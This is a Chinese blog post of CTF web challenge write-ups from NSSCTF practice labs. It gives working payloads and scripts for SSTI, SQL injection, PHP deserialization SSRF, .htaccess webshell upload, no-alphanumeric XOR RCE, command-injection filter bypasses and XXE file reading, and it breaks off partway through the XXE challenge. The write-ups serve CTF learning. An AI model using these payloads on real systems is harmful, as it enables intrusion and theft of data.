目录

  1. 1. 前言
  2. 2. [HUBUCTF 2022 新生赛]Calculate
  3. 3. [NCTF 2018]Flask PLUS
  4. 4. [GWCTF 2019]枯燥的抽奖
  5. 5. [FSCTF 2023]源码!启动!
  6. 6. [NSSCTF 2022 Spring Recruit]babysql
  7. 7. [网鼎杯 2018]Fakebook
  8. 8. [FSCTF 2023]webshell是啥捏
  9. 9. [羊城杯 2020]easyphp
  10. 10. [NCTF 2018]小绿草之最强大脑
  11. 11. [羊城杯 2020]Blackcat
  12. 12. [TQLCTF 2022]simple_bypass
  13. 13. [FSCTF 2023]细狗2.0
  14. 14. [HUBUCTF 2022 新生赛]ezsql
  15. 15. [SCTF 2021]loginme
  16. 16. [FSCTF 2023]Hello,you
  17. 17. [FSCTF 2023]EZ_eval
  18. 18. [CSAWQual 2019]Unagi
  19. 19. prize_p1
  20. 20. [October 2019]Twice SQL Injection
  21. 21. [广东强网杯 2021 团队组]love_Pokemon
    1. 21.1. escapeshellarg
  22. 22. [UUCTF 2022 新生赛]ezsql
  23. 23. [SWPU 2018]SimplePHP
  24. 24. [FSCTF 2023]ez_php1

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

NSSCTF web 刷题记录2

2023/11/3 Web 刷题 NSS
  |     |   总文章阅读量:

前言

第二回合,开始web第11页和第12页

[HUBUCTF 2022 新生赛]Calculate

python脚本

进入题目,是经典速算题:

回答以下数学问题20次;你有3秒钟的时间来解决每个问题;为了保护服务器,你不能在1秒内回答一个问题

编写脚本,注意每次提交都要更新cookie

思路比较完整的wp:https://www.nssctf.cn/note/set/443

要我自己搓脚本还是太困难了555,这里收集一点脚本以后改一改用算了(

常规脚本:

import time
import requests
import re

url = 'http://node5.anna.nssctf.cn:28311/'
s = requests.Session()
for x in range(0,20):
    res = s.get(url=url)
    my_text = re.findall(r">[\d|\-|+|*]<",res.text)
    strings = ['0','1','2','3','4','5','6','7','8','9','+','-','*']
    num = ''
    for i in my_text:
        for j in strings:
            if j in i:
                num += str(j)
    result = eval(num)
    data = {
        'ans':result
    }
    time.sleep(1.5)
    res1 = s.post(url=url,data=data)
    if 'calculate error!' in res1.text:
        print(res.text)
        print(my_text)
        print(str(num)+'='+str(result))
        break
    print(res1.text)

BeautifulSoup库写的爬虫脚本

from bs4 import BeautifulSoup
import requests
import time

url = 'http://node5.anna.nssctf.cn:28311/'
s = requests.Session()
for i in range(0,20):
    res1 = s.get(url=url)
    soup = BeautifulSoup(res1.text,'html.parser')
    tags = soup.find_all('div')	# 找算式所在的div标签
    cal = ''
    for tag in tags:
        cal += tag.text
    cal = cal[:-1]	# 最后一个等号不参与计算
    num = eval(cal)
    data={
        'ans':num
    }
    time.sleep(1)
    res2 = s.post(url=url,data=data)
    print(res2.text)

Xpath的脚本

import time

import requests
from lxml import etree

url = "http://node5.anna.nssctf.cn:28311/"
res1 = requests.session()

while True:
    res = res1.get(url)
    tree = etree.HTML(res.text)
    concat = ''
    divs = tree.xpath('/html/body/form/div/text()')
    del divs[-1]
    ans = concat.join(divs)
    print(ans)
    result = str(eval(ans))
    time.sleep(1)
    resp = res1.post(url=url, data={"ans": result})
    print(result)
    cnt = tree.xpath('/html/body/p[3]/text()')
    count = concat.join(cnt)
    print("cnt=====>", count)
    if "NSS" in resp.text:
        print(resp.text)
        break
    time.sleep(1)

[NCTF 2018]Flask PLUS

ssti

注入点还是在路由处,fuzz一下,发现ban了os,request,popen,class,mro,subclasses,__init__,subprocess,join

关键字用拼接绕过,直接找<class 'os._wrap_close'>

{{""['__cla''ss__'].__bases__[0]['__subcla''sses__']()[137]}}

__init__没了可以用__enter__或者__exit__代替,命令执行即可

{{''['__cla''ss__'].__bases__[0]['__subcla''sses__']()[137].__enter__.__globals__['pop''en']('ls /').read()}}

[GWCTF 2019]枯燥的抽奖

php伪随机数预测

进入题目,抓包发现check.php

image-20231105102425506

<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";


if(isset($_POST['num'])){
    if($_POST['num']===$str){
        echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
    }
    else{
        echo "<p id=flag>没抽中哦,再试试吧</p>";
    }
}
show_source("check.php"); 

这题的意思是生成了20位的随机字符串,先给了我们前10位随机字符串,要我们把整串字符串提交上去

用了mt_srand生成伪随机数,很明显存在伪随机数预测漏洞

把核心逻辑copy出来然后写php脚本爆破种子,然后生成我们需要的字符串即可

<?php
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$len1 = 20;
for ($n = 0; $n <= 999999999; $n++) {
    $str = '';
    mt_srand($n);
    for ($i = 0; $i < $len1; $i++) {
        $str .= substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
    }
    $str_show = substr($str, 0, 10);
    if ($str_show == "OFsCrW9SFj") {
        echo $str;
        break;
    }
}

[FSCTF 2023]源码!启动!

禁用了f12,ctrl+u即可查看页面源码找到flag


[NSSCTF 2022 Spring Recruit]babysql

sql联合注入

注入点在post请求的username参数上

尝试万能密码1’or 1=1,返回黑名单/if|and|\s|#|--/i,这里的\s是指过滤了空格,可以用/**/代替

然后这里过滤了注释符,只能我们自己手动闭合语句了

联合注入查数据库

1'/**/union/**/select/**/database()'

得到数据库名test

查表

1'/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema="test"'

得到表名flag,users

查列名

1'/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name="flag"'

得到列名flag

查字段

1'/**/union/**/select/**/(select/**/group_concat(flag)/**/from/**/flag)/**/'

得到flag


[网鼎杯 2018]Fakebook

反序列化+sql注入+ssrf

进入题目,有一个login登录功能和一个join注册功能

dirsearch扫一下,发现存在robots.txt,flag在flag.php

访问得到hint:/user.php.bak备份文件泄露

访问/user.php.bak,得到user.php源码

<?php
class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }
}

稍微审计一下就可以发现这是一个存在ssrf的类,在join功能处被调用

正则匹配的是一个http://https://开头的url

我们先随便注册一个账号,然后点击username跳转到view.php,发现多了个参数?no=1

测试发现存在数字型注入而且会回显

image-20231107124000950

然后测试字段数

?no=1 order by 5

image-20231107124138542

可知字段数为4

尝试联合注入

测试发现union select用不了,猜测是整个被ban了,可以用union/**/select代替

?no=0 union/**/select 1,2,3,4

image-20231107124617673

发现显示位在第二位,即username回显的

查表

?no=0 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()

得到users表

查列名

?no=0 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name='users'

得到no,username,passwd,data

查看data

?no=0 union/**/select 1,group_concat(data),3,4 from users

返回一个序列化字符串

image-20231107125011095

注意后面的报错Trying to get property of non-object(正在尝试获取非对象的属性),意思就是要我们传入对象

而一开始我们就知道flag在flag.php,那么应该就是要我们利用反序列化中的ssrf来读取flag

所以这里直接用file协议读取flag.php

<?php
class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "file:///var/www/html/flag.php";

}
echo serialize(new UserInfo());

得到

O:8:"UserInfo":3:{s:4:"name";s:0:"";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

这里注意一下逻辑顺序,这里会先进行sql查询然后再进行反序列化,所以我们要把序列化字符串放在注入的字段里

payload:

?no=0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:0:"";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

回显的位置是在最底下的ssrf窗口,这里要ctrl+u来查看

<iframe width='100%' height='10em' src='data:text/html;base64,PD9waHANCg0KJGZsYWcgPSAiTlNTQ1RGezMwMDRjZmFlLTRjNDYtNDkzMS05YTMxLWM0NDc4MmIzNzhjYX0iOw0KZXhpdCgwKTsNCg=='>

base64解码得到flag


[FSCTF 2023]webshell是啥捏

进入题目,看到源码

<?php
highlight_file(__FILE__);
$😀="a";
$😁="b";
$😂="c";
$🤣="d";
$😃="e";
$😄="f";
$😅="g";
$😆="h";
$😉="i";
$😊="j";
$😋="k";
$😎="l";
$😍="m";
$😘="n";
$😗="o";
$😙="p";
$😚="q";
$🙂="r";
$🤗="s";
$🤩="t";
$🤔="u";
$🤨="v";
$😐="w";
$😑="x";
$😶="y";
$🙄="z";
$😭 = $😙. $😀. $🤗. $🤗. $🤩. $😆. $🙂. $🤔;
if (isset($_GET['👽'])) {
    eval($😭($_GET['👽']));
};
?> 

挺抽象(

但是对应一下就可以发现底下的$😭部分拼接起来是passthru

那么直接命令执行即可

?👽=ls /

[羊城杯 2020]easyphp

.htaccess文件上传

源码

<?php
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nHello, world");
?> 

具体意思就是get传入文件名字和文件内容,文件内容的末尾会换行并追加一句Hello, world

然后文件内容过滤了onhtmltypeflaguploadfile

文件名必须只有小写字母或者.

而且每次运行开始都会删除当前目录中除了index.php以外所有的文件

尝试直接传马,但是并没有被解析为php

那么思路很明显,要传配置文件在index.php处上马

我们知道.user.ini的文件上传中有auto_prepend_file这类可以进行文件包含的配置,但是这里我们每次执行后当前目录最多存在index.php和我们刚刚上传的文件,所以这里用不了.user.ini

不过.htaccess文件也可以用php_value对php的配置进行修改来起到与.user.ini一样的效果

php_value auto_prepend_file <filename>

因为只会存在index.php和.htaccess,所以我们这里的配置就是设置为包含自己php_value auto_prepend_file .htaccess

然后在htaccess中,#是注释符的作用,但是包含到php执行时,写在注释里的一句话木马也会被执行

最后由于末行会新增一句Hello, world,我们需要用\来把\n转义为\\n

所以我们的.htaccess文件如下:

php_value auto_prepend_file ".htaccess"
#<?php phpinfo();?>
#\

payload:

这里由于把file过滤了,我们用反斜杠fi\le绕过即可

注:注意编码,配置文件传错了的话很容易返回500,建议重开

?filename=.htaccess&content=php_value+auto_prepend_fi%5C%0D%0Ale+.htaccess%0D%0A%23%3C%3Fphp%20system('ls /')%3B%3F%3E%0D%0A%23%5C

[NCTF 2018]小绿草之最强大脑

intval特性+python脚本编写

进入题目,要求我们输入一个位数大于21的正数加入式子进行计算出”正确结果”并提交,f12发现hint:源码泄露了解一下?

dirsearch扫描发现存在index.php.bak备份文件

访问并下载下来去掉.bak后缀得到源码

<?php
if(isset($_SESSION['ans']) && isset($_POST['ans'])){
	if(($_SESSION['ans'])+intval($_POST['input'])!=$_POST['ans']){
		session_destroy();
		echo '
		<script language="javascript">  
		alert("怎么没算对呢?");  
		window.history.back(-1);  </script>';
	}
	else{
		if(intval(time())-$_SESSION['time']<1){
			session_destroy();
			echo '
			<script language="javascript">  
			alert("你手速太快啦,服务器承受不住!!!");  
			window.history.back(-1); </script> ';
		}
		if(intval(time())-$_SESSION['time']>2){
			session_destroy();
			echo '
			<script language="javascript">  
			alert("你算的太慢了少年!");  
			window.history.back(-1); </script> ';
		}
		echo '
		<script language="javascript">  
		alert("tql,算对了!!");  
	     </script> ';
		$_SESSION['count']++;
	}
}
?>

审计一下,我们可以知道:

  • input 的变量经过了 php 的 intval 处理
  • 计算时间要在 1-2 秒之间
  • 答对次数会累加

这里intval是防止程序溢出的,我们输入的大于 21 位的数字经过PHP处理的值一定发生了变化

测试:

<?php echo intval('4200000000000000000000');?>
32位系统:2147483647 64位系统:9223372036854775807

题目的操作系统是 64 位的,所以我们输入的这个值经过 php 防止溢出处理后的实际值为 9223372036854775807

那接下来就是对着网页元素写python脚本自动答题了(脚本 from 国光)

# author: www.sqlsec.com
import requests
import re
import time
s = requests.Session()  # 因为要连续计算,用来保存当前会话的持续有效性
url = "http://node4.anna.nssctf.cn:28540/"
number ="4200000000000000000000"  #输入的数字
r = s.get(url)
math = ''
headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:61.0) Gecko/20100101 Firefox/61.0',
}
while(1):
    num_pattern =re.compile(r'<div style="display:inline;">(.*?)</div>')
    num = num_pattern.findall(r.text)   #正则提取公式
    gg = "9223372036854775807"+'+'+math.join(num)[0:-1]  #拼接真实的公式
    print(gg)
    ans = eval(gg)   #利用eval直接来计算结果

    print(ans)
    data = "input={number}&ans={ans}%".format(number=number,ans=ans)

    r =s.post(url,headers=headers,data=data)
    time.sleep(1.5)   #延时1.5秒
    print(r.text)

运行之后连续算对5次就给flag


[羊城杯 2020]Blackcat

音频隐写

离谱,这题源码在音频里面

image-20231109111110232

<?php
if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
    die('谁!竟敢踩我一只耳的尾巴!');
}

$clandestine = getenv("clandestine");

if(isset($_POST['White-cat-monitor']))
    $clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);

$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);

if($hh !== $_POST['Black-Cat-Sheriff']){
    die('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。');
}

echo exec("nc".$_POST['One-ear']);

用到了hash_hmac函数

使用 HMAC 方法生成带有密钥的哈希值

image-20231109111614999

demo:

<?php
echo hash_hmac('ripemd160', 'The quick brown fox jumped over the lazy dog.', 'secret');
?>

输出b8e7ae12510bdfb1812e463a7f086122cf37e4f7

同理我们可以在本地自己生成一个hash_hmac后的结果再传进去

第一个hash_hmac的密钥是环境变量clandestine的值,但是如果data传入的值为数组,那么就会返回NULL

所以White-cat-monitor参数传入数组即可

而Black-Cat-Sheriff的值在我们本地自己生成就行

One-ear里面传我们的命令

注:这个靶机不出网,所以不能直接弹shell,那么我们要用;来隔开直接执行命令

本地生成$hh

<?php
$hh = hash_hmac('sha256', ';dir', null);
echo $hh;

注意,这题的命令执行语句是exec,只回显最后一行,ls是多行显示,所以只能显示一行的内容,可以使用dir来列出目录

接下来是读取文件,可以用grep来匹配flag

;tac f*|grep \

结果实际上flag在flag.php的第一行,直接cat读取就行。。


[TQLCTF 2022]simple_bypass

模板注入+无字母数字rce

进入题目,注册登录,来到一个linux沙盒环境

先看看里面的几个功能,”图片”,”游戏”,”你的网站”都是打开一个网站

但是”好康的”里面只给了一张杰哥的图片

抓包发现路由get_pic.php?image=存在任意文件读取

尝试读取index.php,f12把得到的图片流copy下来base64解码一下得到源码,我这里只保留php部分

<?php
error_reporting(0);
if(isset($_POST['user']) && isset($_POST['pass'])){
	$hash_user = md5($_POST['user']);
	$hash_pass = 'zsf'.md5($_POST['pass']);
	if(isset($_POST['punctuation'])){
		//filter
		if (strlen($_POST['user']) > 6){
			echo("<script>alert('Username is too long!');</script>");
		}
		elseif(strlen($_POST['website']) > 25){
			echo("<script>alert('Website is too long!');</script>");
		}
		elseif(strlen($_POST['punctuation']) > 1000){
			echo("<script>alert('Punctuation is too long!');</script>");
		}
		else{
			if(preg_match('/[^\w\/\(\)\*<>]/', $_POST['user']) === 0){
				if (preg_match('/[^\w\/\*:\.\;\(\)\n<>]/', $_POST['website']) === 0){
					$_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>\?]/","",$_POST['punctuation']);
					$template = file_get_contents('./template.html');
					$content = str_replace("__USER__", $_POST['user'], $template);
					$content = str_replace("__PASS__", $hash_pass, $content);
					$content = str_replace("__WEBSITE__", $_POST['website'], $content);
					$content = str_replace("__PUNC__", $_POST['punctuation'], $content);
					file_put_contents('sandbox/'.$hash_user.'.php', $content);
					echo("<script>alert('Successed!');</script>");
				}
				else{
					echo("<script>alert('Invalid chars in website!');</script>");
				}
			}
			else{
				echo("<script>alert('Invalid chars in username!');</script>");
			}
		}
	}
	else{
		setcookie("user", $_POST['user'], time()+3600);
		setcookie("pass", $hash_pass, time()+3600);
		Header("Location:sandbox/$hash_user.php");
	}
}
?>
  • 用户名(user)长度不能超过6,且过滤了[^\w\/\(\)\*<>],即空格,取反符,左右括号,左斜杠,星号,左右尖括号
  • 网站地址(website)长度不能超过25,且过滤了[^\w\/\*:\.\;\(\)\n<>],即空格,取反符,左右括号,左斜杠,星号,左右尖括号,换行,冒号,点,分号
  • 描述(punctuation)不能超过1000字,但只是过滤了字母数字,被过滤的字符会替换为空

get_pic.php

<?php
error_reporting(0);
$image = (string)$_GET['image'];
echo '<div class="img"> <img src="data:image/png;base64,' . base64_encode(file_get_contents($image)) . '" /> </div>';
?>

存在文件读取,不过我们不知道flag的位置

sandbox/$hash_user.php

<?php
	error_reporting(0);
	$user = ((string)1);
	$pass = ((string)zsfc4ca4238a0b923820dcc509a6f75849b);
	
	if(isset($_COOKIE['user']) && isset($_COOKIE['pass']) && $_COOKIE['user'] === $user && $_COOKIE['pass'] === $pass){
		echo($_COOKIE['user']);
	}
	else{
		die("<script>alert('Permission denied!');</script>");
	}
?>

这个只是一些我们登录的信息,不过我们可以读一下其对应的模板文件template.html主要部分

		<?php
			error_reporting(0);
			$user = ((string)__USER__);
			$pass = ((string)__PASS__);
			
			if(isset($_COOKIE['user']) && isset($_COOKIE['pass']) && $_COOKIE['user'] === $user && $_COOKIE['pass'] === $pass){
				echo($_COOKIE['user']);
			}
			else{
				die("<script>alert('Permission denied!');</script>");
			}
		?>
		</li>
      </ul>
      <ul class="item">
        <li><span class="sitting_btn"></span>系统设置</li>
        <li><span class="help_btn"></span>使用指南 <b></b></li>
        <li><span class="about_btn"></span>关于我们</li>
        <li><span class="logout_btn"></span>退出系统</li>
      </ul>
    </div>
  </div>
</div>
<a href="#" class="powered_by">__PUNC__</a>
<ul id="deskIcon">
  <li class="desktop_icon" id="win5" path="https://image.baidu.com/"> <span class="icon"><img src="../img/icon4.png"/></span>
    <div class="text">图片
      <div class="right_cron"></div>
    </div>
  </li>
  <li class="desktop_icon" id="win6" path="http://www.4399.com/"> <span class="icon"><img src="../img/icon5.png"/></span>
    <div class="text">游戏
      <div class="right_cron"></div>
    </div>
  </li>
  <li class="desktop_icon" id="win10" path="../get_pic.php?image=img/haokangde.png"> <span class="icon"><img src="../img/icon4.png"/></span>
    <div class="text"><b>好康的</b>
      <div class="right_cron"></div>
    </div>
  </li>
  <li class="desktop_icon" id="win16" path="__WEBSITE__"> <span class="icon"><img src="../img/icon10.png"/></span>
    <div class="text"><b>你的网站</b>
      <div class="right_cron"></div>

可以看到我们注册时输入的描述__PUNC__,网站地址__WEBSITE__的内容都会被添加到渲染后的网页sandbox/$hash_user.php中,所以我们可以考虑在这两个参数上进行恶意代码的注入,不过从绕waf的角度来看,__PUNC__的绕过难度会比较低一些

同时需要注意到渲染模板中已经有关于__USER____PASS__的php代码且进行了闭合,所以这里需要在__USER__使用/*注释掉后面的php代码,然后在__PUNC__前用*/);进行闭合

那么我们的思路就是构造这样的payload传入

username:
p/*
passwd:
任意
website:
任意
punctuation:
*/); PAYLOAD /*

过滤了字母数字,很容易想到要无字母数字rce

PHP版本5.5.38,这里可以用异或或者自增来做

这里不知道为什么我自己的异或脚本打不了,用pysnow佬的吧

<?php

$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=33; $i < 126; $i++) { 
    for ($j=33; $j <126; $j++) { 
        if($i<16){
            $hex_i='0'.dechex($i);
        } else{
            $hex_i=dechex($i);
        }
        if($j<16){
            $hex_j='0'.dechex($j);
        } else{
            $hex_j=dechex($j);
        }
        $preg = '/[a-z,A-Z,0-9>\?\'\"]/i';    // 根据题目给的正则表达式修改即可
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))) {
            echo "";
        } else{
            $a='%'.$hex_i;
            $b='%'.$hex_j;
            $c=(urldecode($a)^urldecode($b));
            if (ord($c)>=32&ord($c)<=126) {
                $contents=$contents.$c." ".$a." ".$b."\n";
            }
        }
    }
}
fwrite($myfile,$contents);
fclose($myfile);
import urllib.parse

def action(arg):
    s1 = ""
    s2 = ""
    for i in arg:
        f = open("rce_or.txt", "r")
        k = f.readlines()
        for t in k:

            if t == "":
                break
            if t[0] == i:
                s1 += urllib.parse.unquote(t[2:5])
                s2 += urllib.parse.unquote(t[6:9])
                break
        f.close()
    output = "\'" + s1 + "\'^\'" + s2 + "\'\n"
    return output

while True:
    param = action(input("\n[+] your function:")) + action(input("[+] your command:"))
    print(param)

payload:

username=1/*&passwd=1&website=1&punctuation=*/);$_='($((%-'^'[][\@@';$__='#:%('^'|}`|';$___=$$__;$_($___['!']);/*

注册后登录,直接命令执行,找到flag文件

image-20231109171734454


[FSCTF 2023]细狗2.0

rce

这题就给了个命令执行的框让我们自己输,联想一下ping的命令注入

尝试直接用;截断后执行我们自己的命令

image-20231110110602362

成功回显,尝试读取moyu.php,测试了一下发现cat和空格被过滤了,那就用${IFS}代替空格,cat可以用反斜杠ca\t绕过或者其他读取命令

moyu.php

<?php
if (isset($_GET['hongzh0'])) {
    $userInput = $_GET['hongzh0'];
    echo "行不行啊细狗,你就输了个这? $userInput";

    // 使用正则表达式检查用户输入是否包含分隔字符
    if (strpos($userInput, ';') !== false || strpos($userInput, '|') !== false) {
        // 使用正则表达式提取第一个分号后的内容
        preg_match('/;(.*)/', $userInput, $matches);
        if (!empty($matches[1])) {
            // 使用正则表达式检查内容中是否包含 "flag"、"cat" 或空格
            if (!preg_match('/(flag|cat|\s)/i', $matches[1])) {
                // 执行用户输入的第一个分号后的内容
                system($matches[1]);
            } else {
                echo "就这几个都绕不过去?";
            }
        } else {
            echo "洗洗睡吧。";
        }
    }
}
?>

flag在根目录下,用通配符匹配即可


[HUBUCTF 2022 新生赛]ezsql

update注入

题目提供了登录和注册的功能,提示我们要登录admin,但是我们并不知道它的密码

我们先自己注册一个账户,登录后发现可以更新个人信息,可以猜测存在update语句

抓包发现对应的接口update.php

那我们在update.php进行post传参尝试注入,测试发现注入点在age,回显位在description

nickname=1&age=1, description=(select 1)#&description=

image-20231110113306051

可以看到语句成功执行了

接下来查库

nickname=1&age=1, description=(select database())#&description=

得到数据库名demo2

查表

nickname=1&age=1, description=(select group_concat(table_name) from information_schema.tables where table_schema=database())#&description=

得到表名users

查列名,注意这里表名填users会导致更新错误,用16进制编码绕过

nickname=1&age=1, description=(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273)#&description=

得到列名id,username,password,nickname,age,description

查password字段

nickname=1&age=1, description=(select group_concat(password) from users)#&description=

翻了一下没查到admin的密码,那么我们就尝试修改所有用户的密码为123,记得先md5编码再16进制编码一下

nickname=1&age=1, password=0x3230326362393632616335393037356239363462303731353264323334623730#&description=

然后登录admin,密码123

成功登录,但是此时description的内容已经在前面查密码时被修改了,这时就得重开环境,回来直接改密码,然后再登录admin,就能在description处拿到flag了


[SCTF 2021]loginme

ip伪造+go的ssti

题目描述:

I don’t know the age of the admin, can you tell me?
By the way, admin’s Password maybe the thing you want

下载附件,进入题目,告诉我们”Only localhost can access”,结合源码,那就是要伪造ip:https://c1oudfl0w0.github.io/blog/2023/05/21/%E7%94%A8%E4%BA%8E%E4%BC%AA%E9%80%A0ip%E7%9A%84%E8%AF%B7%E6%B1%82%E5%A4%B4/

middleware.go

package middleware

import (
	"github.com/gin-gonic/gin"
)

func LocalRequired() gin.HandlerFunc {
	return func(c *gin.Context) {
		if c.GetHeader("x-forwarded-for") != "" || c.GetHeader("x-client-ip") != "" {
			c.AbortWithStatus(403)
			return
		}
		ip := c.ClientIP()
		if ip == "127.0.0.1" {
			c.Next()
		} else {
			c.AbortWithStatus(401)
		}
	}
}

几个请求头都试过去,只有X-Real-IP能用

然后进入页面

image-20231110123936494

route.go

package route

import (
	_ "embed"
	"fmt"
	"html/template"
	"loginme/structs"
	"loginme/templates"
	"strconv"

	"github.com/gin-gonic/gin"
)

func Index(c *gin.Context) {
	c.HTML(200, "index.tmpl", gin.H{
		"title": "Try Loginme",
	})
}

func Login(c *gin.Context) {
	idString, flag := c.GetQuery("id")
	if !flag {
		idString = "1"
	}
	id, err := strconv.Atoi(idString)
	if err != nil {
		id = 1
	}
	TargetUser := structs.Admin
	for _, user := range structs.Users {
		if user.Id == id {
			TargetUser = user
		}
	}

	age := TargetUser.Age
	if age == "" {
		age, flag = c.GetQuery("age")
		if !flag {
			age = "forever 18 (Tell me the age)"
		}
	}

	if err != nil {
		c.AbortWithError(500, err)
	}

	html := fmt.Sprintf(templates.AdminIndexTemplateHtml, age)
	if err != nil {
		c.AbortWithError(500, err)
	}

	tmpl, err := template.New("admin_index").Parse(html)
	if err != nil {
		c.AbortWithError(500, err)
	}

	tmpl.Execute(c.Writer, TargetUser)
}

审计代码可以知道还有一个参数age

image-20231110124039979

同时还存在一个渲染模板的代码

html := fmt.Sprintf(templates.AdminIndexTemplateHtml, age)

tmpl, err := template.New("admin_index").Parse(html)

其中的age是我们可控的,也就是说可以尝试进行ssti来泄露信息,结合题目描述,应该是要泄露出admin的password

structs.go

package structs

type UserInfo struct {
	Id       int
	Username string
	Age      string
	Password string
}

var Users = []UserInfo{
	{
		Id:       1,
		Username: "Grandpa Lu",
		Age:      "22",
		Password: "hack you!",
	},
	{
		Id:       2,
		Username: "Longlone",
		Age:      "??",
		Password: "i don't know",
	},
	{
		Id:       3,
		Username: "Teacher Ma",
		Age:      "20",
		Password: "guess",
	},
}

var Admin = UserInfo{
	Id:       0,
	Username: "Admin",
	Age:      "",
	Password: "flag{}",
}

所以构造payload泄露admin的password值即可:

?id=0&age={{.Password}}

[FSCTF 2023]Hello,you

rce

进入题目,是一个注册框,f12,发现页面php源码

<?php
$input = isset($_GET['input']) ? $_GET['input'] : '';

// 执行命令并返回结果
function executeCommand($command) {
    $output = '';
    exec($command, $output);
    return $output;
}

// 注册用户
function registerUser($username) {
    // ......... 
    $command = "echo Hello, " . $username;
    $result = executeCommand($command);
    return $result;
}

// 处理注册请求
if (isset($_POST['submit'])) {
    $username = $_POST['username'];
    $result = registerUser($username);
}

很明显存在命令执行,直接;截断然后执行命令

image-20231113112246823

然后尝试cat flag.php读取,但是发现被ban了

直接尝试绕过

;ca\t${IFS}f*

成功读取

顺便把waf也读了一下,是个前端js过滤,应该可以抓包绕过

$forbidden_keywords = ['flag', 'cat', 'tac'];
foreach ($forbidden_keywords as $keyword) {
if (stripos($username, $keyword) !== false) {
echo "<script>alert('非法操作');</script>";
return;
}
}

[FSCTF 2023]EZ_eval

eval命令注入

<?php
    if(isset($_GET['word'])){
    $word = $_GET['word'];
    if (preg_match("/cat|tac|tail|more|head|nl|flag|less| /", $word)){
       die("nonono.");
    }
    $word = str_replace("?", "", $word);
    eval("?>". $word);
}else{
    highlight_file(__FILE__);
}

一眼对eval进行命令注入

过滤了?,我们可以用短标签代替

过滤了空格,前面用%09代替,linux命令执行的部分用${IFS}代替

过滤了文件读取的linux命令,也可以用反斜杠\绕过,然后通配符读文件

payload:

?word=<script%09language="php">system('ls${IFS}/');
?word=<script%09language="php">system('ca\t${IFS}/f*');

[CSAWQual 2019]Unagi

文件上传xxe+utf编码绕过

进入题目,发现有一个文件上传的功能,而About提示我们flag在/flag

点击Upload,发现我们能通过上传文件来创建新的user

而且下面也给了我们例子

<users>
<user>
<username>alice</username>
<password>passwd1</password>
<name>Alice</name>
<email>alice@fakesite.com</email>
<group>CSAW2019</group>
</user>
<user>
<username>bob</username>
<password>passwd2</password>
<name> Bob</name>
<email>bob@fakesite.com</email>
<group>CSAW2019</group>
</user>
</users>

是一个xml文档,那看起来这题是要进行xxe来读flag

我们对着例子来修改我们的xml文件,看到已经存在的User里还有一个Intro的标签,那我们就在这里回显我们读取的flag即可

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE users [  
<!ENTITY xxe SYSTEM "file:///flag"> ]> 
<users>
    <user>
    <username>Aris</username>
    <password>passwd3</password>
    <name>Aris</name>
    <email>alice@soft.com</email>
    <group>CSAW2019</group>
    <intro>&xxe;</intro>
    </user>
</users>

直接上传,返回WAF blocked

看来有waf,我们这里可以用编码绕过

